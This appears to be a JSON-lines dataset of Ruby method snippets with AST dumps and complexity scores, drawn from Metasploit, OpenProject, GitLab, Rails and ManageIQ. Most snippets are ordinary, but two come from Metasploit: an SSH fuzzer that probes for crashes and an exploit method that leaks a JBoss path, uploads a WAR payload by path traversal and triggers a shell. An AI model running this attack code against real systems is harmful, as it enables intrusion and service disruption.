sh\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value2\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"force_flush\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"waiting\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"test_finished?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"pass\"]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"before_shutdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"shutdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"after_shutdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"terminate\"]}]}]}]}","id":"164428e3-2ab8-4d90-9a3d-43b4e3779983"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb","start_line":44,"raw_source":"def run\n    last_str = nil\n    last_inp = nil\n    last_err = nil\n\n    make_ssh_version_base\n    cnt = 0\n\n    fuzz_strings do |str|\n      cnt += 1\n\n      if (cnt % 100 == 0)\n        print_status(\"Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}\")\n      end\n\n      begin\n        do_ssh_version(str, banner_timeout: 5)\n      rescue ::Interrupt\n        print_status(\"Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}\")\n        raise $ERROR_INFO\n      rescue StandardError => e\n        last_err = e\n      ensure\n        disconnect\n      end\n\n      if !@connected\n        if last_str\n          print_status(\"The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}\")\n        else\n          print_status(\"Could not connect to the service: #{last_err}\")\n        end\n        return\n      end\n\n      if !@banner\n        print_status(\"The service may have crashed (no banner): iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} \")\n        return\n      end\n\n      last_str = str\n      last_inp = @last_fuzzer_input\n    end\n  end","complexity_score":48.75,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_str\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"last_inp\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"last_err\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"make_ssh_version_base\"]},{\"type\":\"lvasgn\",\"children\":[\"cnt\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fuzz_strings\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cnt\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]},\"%\",{\"type\":\"int\",\"children\":[100]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fuzzing with iteration \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]}]},{\"type\":\"str\",\"children\":[\" using \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_fuzzer_input\"]}]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"do_ssh_version\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"banner_timeout\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exiting on interrupt: iteration \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]}]},{\"type\":\"str\",\"children\":[\" using \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_fuzzer_input\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"lvasgn\",\"children\":[\"last_err\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connected\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_str\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The service may have crashed: iteration:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" method=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_inp\"]}]},{\"type\":\"str\",\"children\":[\" string=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_str\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\" error=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_err\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not connect to the service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_err\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@banner\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The service may have crashed (no banner): iteration:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" method=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_inp\"]}]},{\"type\":\"str\",\"children\":[\" string=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_str\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_str\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_inp\",{\"type\":\"ivar\",\"children\":[\"@last_fuzzer_input\"]}]}]}]}]}]}","id":"4d8749c1-7679-4bbf-bc4b-97617e7da231"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/references.rb","start_line":118,"raw_source":"def query_link(query)\n      url_helpers.project_work_packages_path(\n        project_id: query.project.identifier,\n        query_id: query.id\n      )\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"query_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"project_work_packages_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"project\"]},\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"id\"]}]}]}]}]}","id":"30ad6439-1b10-4ead-85e9-a7ae7b6499db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb","start_line":241,"raw_source":"def exploit\n    print_status(\"Leaking the JBoss deployment directory...\")\n    jboss_path = jboss_deploy_path\n\n    if jboss_path.nil?\n      fail_with(Failure::Unknown, \"#{peer} - Failed to disclose the JBoss deployment directory\")\n    end\n\n    print_status(\"Building WAR payload...\")\n\n    app_name = Rex::Text.rand_text_alpha(4 + rand(4))\n    war_name = \"#{app_name}.war\"\n    war = payload.encoded_war({ :app_name => app_name }).to_s\n    deploy_dir = \"..#{jboss_path}\"\n\n    print_status(\"Uploading WAR payload...\")\n\n    res = upload_war(war_name, war, deploy_dir)\n\n    unless res\n      fail_with(Failure::Unknown, \"#{peer} - Failed to upload the war payload\")\n    end\n\n    register_files_for_cleanup(\"../server/appstream/deploy/#{war_name}\")\n\n    10.times do\n      select(nil, nil, nil, 2)\n\n      # Now make a request to trigger the newly deployed war\n      print_status(\"#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...\")\n      res = send_request_cgi(\n        {\n          'uri' => normalize_uri(\"/\", app_name, Rex::Text.rand_text_alpha(rand(8) + 8)),\n          'method' => 'GET',\n          'rport' => ste_port # Auto Deploy can be reached through the \"as_ste.exe\" service\n        }\n      )\n      # Failure. The request timed out or the server went away.\n      break if res.nil?\n      # Success! Triggered the payload, should have a shell incoming\n      break if res.code == 200\n    end\n  end","complexity_score":53.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Leaking the JBoss deployment directory...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jboss_path\",{\"type\":\"send\",\"children\":[null,\"jboss_deploy_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jboss_path\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to disclose the JBoss deployment directory\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Building WAR payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"war_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_name\"]}]},{\"type\":\"str\",\"children\":[\".war\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"war\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded_war\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_name\"]},{\"type\":\"lvar\",\"children\":[\"app_name\"]}]}]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"deploy_dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jboss_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading WAR payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"upload_war\",{\"type\":\"lvar\",\"children\":[\"war_name\"]},{\"type\":\"lvar\",\"children\":[\"war\"]},{\"type\":\"lvar\",\"children\":[\"deploy_dir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to upload the war payload\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../server/appstream/deploy/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"war_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ste_port\"]}]},{\"type\":\"str\",\"children\":[\" - Attempting to launch payload in deployed WAR...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"lvar\",\"children\":[\"app_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rport\"]},{\"type\":\"send\",\"children\":[null,\"ste_port\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}]}","id":"2d1e944f-46ae-4fb9-a714-911b6e5ff4ea"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/lib/open_project/two_factor_authentication/patches/user_patch.rb","start_line":5,"raw_source":"def self.included(base)\n      base.class_eval do\n        has_many :otp_tokens, class_name: \"TwoFactorAuthentication::LoginToken\", dependent: :destroy\n        has_many :otp_devices, class_name: \"TwoFactorAuthentication::Device\", dependent: :destroy\n        has_many :otp_backup_codes, class_name: \"TwoFactorAuthentication::BackupCode\", dependent: :destroy\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"otp_tokens\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"TwoFactorAuthentication::LoginToken\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependent\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"otp_devices\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"TwoFactorAuthentication::Device\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependent\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"otp_backup_codes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"TwoFactorAuthentication::BackupCode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependent\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]}]}]}","id":"38391726-ef34-4f72-89cd-0caec29d2dd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_repository.rb","start_line":222,"raw_source":"def root_repository?\n    name.empty?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"root_repository?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"empty?\"]}]}","id":"31f47d21-0028-4d5f-a63c-0bddeba46e70"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/timestamp_test.rb","start_line":466,"raw_source":"def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class\n    car_class = Class.new(ActiveRecord::Base) do\n      def self.name; \"Car\"; end\n    end\n\n    toy_class = Class.new(ActiveRecord::Base) do\n      def self.name; \"Toy\"; end\n    end\n\n    wheel_class = Class.new(ActiveRecord::Base) do\n      def self.name; \"Wheel\"; end\n      belongs_to :wheelable, polymorphic: true, touch: true\n    end\n\n    car = car_class.find(1)\n    toy = toy_class.find(3)\n\n    wheel = wheel_class.create!(wheelable: car)\n\n    time = 3.days.ago.at_beginning_of_hour\n\n    car.update_columns(updated_at: time)\n    toy.update_columns(updated_at: time)\n\n    wheel.wheelable = toy\n    wheel.save!\n\n    assert_not_equal time, car.reload.updated_at\n    assert_not_equal time, toy.reload.updated_at\n  end","complexity_score":33.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"car_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Car\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"toy_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Toy\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wheel_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Wheel\"]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"wheelable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"touch\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"car\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car_class\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"toy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toy_class\"]},\"find\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wheel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wheel_class\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wheelable\"]},{\"type\":\"lvar\",\"children\":[\"car\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"days\"]},\"ago\"]},\"at_beginning_of_hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toy\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wheel\"]},\"wheelable=\",{\"type\":\"lvar\",\"children\":[\"toy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wheel\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car\"]},\"reload\"]},\"updated_at\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toy\"]},\"reload\"]},\"updated_at\"]}]}]}]}","id":"5ef750a0-900c-4fe0-b29d-72fecedd2550"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/root_seeder.rb","start_line":36,"raw_source":"def initialize(seed_development_data: Rails.env.development?, raise_on_unknown_language: false)\n    super()\n\n    @seed_development_data = seed_development_data\n    @raise_on_unknown_language = raise_on_unknown_language\n\n    load_available_seeders\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"seed_development_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"raise_on_unknown_language\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@seed_development_data\",{\"type\":\"lvar\",\"children\":[\"seed_development_data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@raise_on_unknown_language\",{\"type\":\"lvar\",\"children\":[\"raise_on_unknown_language\"]}]},{\"type\":\"send\",\"children\":[null,\"load_available_seeders\"]}]}]}","id":"0780e2f9-ff43-4f1d-a40f-308da7af0702"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/fix_auth/auth_model.rb","start_line":49,"raw_source":"private def recrypt_password(old_value, legacy_key)\n        new_value = ManageIQ::Password.recrypt(old_value, legacy_key)\n\n        # Handle rare case where, when the old_value is already encrypted with\n        #   the new key, during recrypt, the decryption with the legacy key\n        #   doesn't raise an Exception as expected, but instead successfully\n        #   decrypts and returns garbage.\n        new_value = old_value unless ManageIQ::Password.try_decrypt(new_value)&.valid_encoding?\n\n        new_value\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"recrypt_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"legacy_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Password\"]},\"recrypt\",{\"type\":\"lvar\",\"children\":[\"old_value\"]},{\"type\":\"lvar\",\"children\":[\"legacy_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Password\"]},\"try_decrypt\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]},\"valid_encoding?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"lvar\",\"children\":[\"old_value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]}","id":"60222fed-a80c-4a28-989b-d467b0e0afff"}
